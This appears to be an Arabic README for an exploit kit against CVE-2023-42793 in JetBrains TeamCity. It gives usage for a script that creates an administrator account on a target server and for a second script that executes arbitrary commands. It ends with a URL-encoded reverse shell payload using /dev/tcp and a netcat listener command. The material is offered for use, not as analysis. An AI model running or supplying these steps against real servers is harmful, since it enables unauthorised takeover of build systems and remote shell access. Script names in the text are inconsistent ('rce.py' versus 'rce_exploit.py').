
JetBrains TeamCity 2023.05.3 - تنفيذ الأوامر عن بُعد (RCE)، CVE-2023-42793
استخدم
exploit.pyأولاً لإنشاء حساب مدير لك ثم استخدمrce.pyلتنفيذ الأوامر على الهدف، وللـ reverse shell تحقق من هذا
يقوم هذا السكربت باستغلال CVE-2023-42793 لإنشاء حساب مدير على خادم TeamCity. يرسل طلب POST إلى عنوان URL الهدف لإنشاء مستخدم مدير ببيانات اعتماد محددة أو عشوائية.
python exploit.py -u <URL> [-v] [-n <USERNAME>] [-p <PASSWORD>] [-e <EMAIL>]
-u, --url URL: عنوان URL الهدف (مطلوب)-v, --verbose: تفعيل وضع التفصيل-n, --username USERNAME: تحديد اسم المستخدم (الافتراضي: عشوائي)-p, --password PASSWORD: تحديد كلمة المرور (الافتراضي: عشوائي)-e, --email EMAIL: تحديد البريد الإلكتروني (الافتراضي: عشوائي)-t, --token-file: ملف لحفظ الرمز المميزpip3 install -r requirements.txtالاستغلال باسم مستخدم وكلمة مرور وبريد إلكتروني عشوائي:
python exploit.py -u http://target.com
الاستغلال باسم مستخدم وكلمة مرور وبريد إلكتروني محددين:
python exploit.py -u http://target.com -n admin -p admin123 -e [email protected]
عند نجاح الاستغلال، يقوم السكربت بطباعة عنوان URL واسم المستخدم وكلمة المرور لحساب المدير الذي تم إنشاؤه ثم يحفظ المخرجات في ملف الرمز المميز.
الوصف يتيح هذا السكربت تنفيذ الأوامر على خادم TeamCity ضعيف مستغلًا CVE-2023-42793. يقوم أولاً بتمكين عمليات التصحيح ثم ينفذ الأمر المحدد باستخدام نقاط نهاية API المناسبة.
python rce_exploit.py -u <URL> [-v] [-c <COMMAND>] [-P <PORT>]
-u, --url URL: عنوان URL الهدف (مطلوب)-t, --token-file: لتحديد الملف الذي يحتوي على الرمز المميز-c, --command COMMAND: تحديد الأمر المراد تنفيذه (RCE)-P, --port PORT: تحديد المنفذ (الافتراضي هو 80)الاستغلال بأمر محدد:
python rce.py -u http://target.com -t token -c "whoami"
python3 rce.py -u http://target.com -t token -c '"/bin/bash"¶ms="-c"¶ms="sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{IP}%2F{port}%200%3E%261"'
nc -nvlp 5555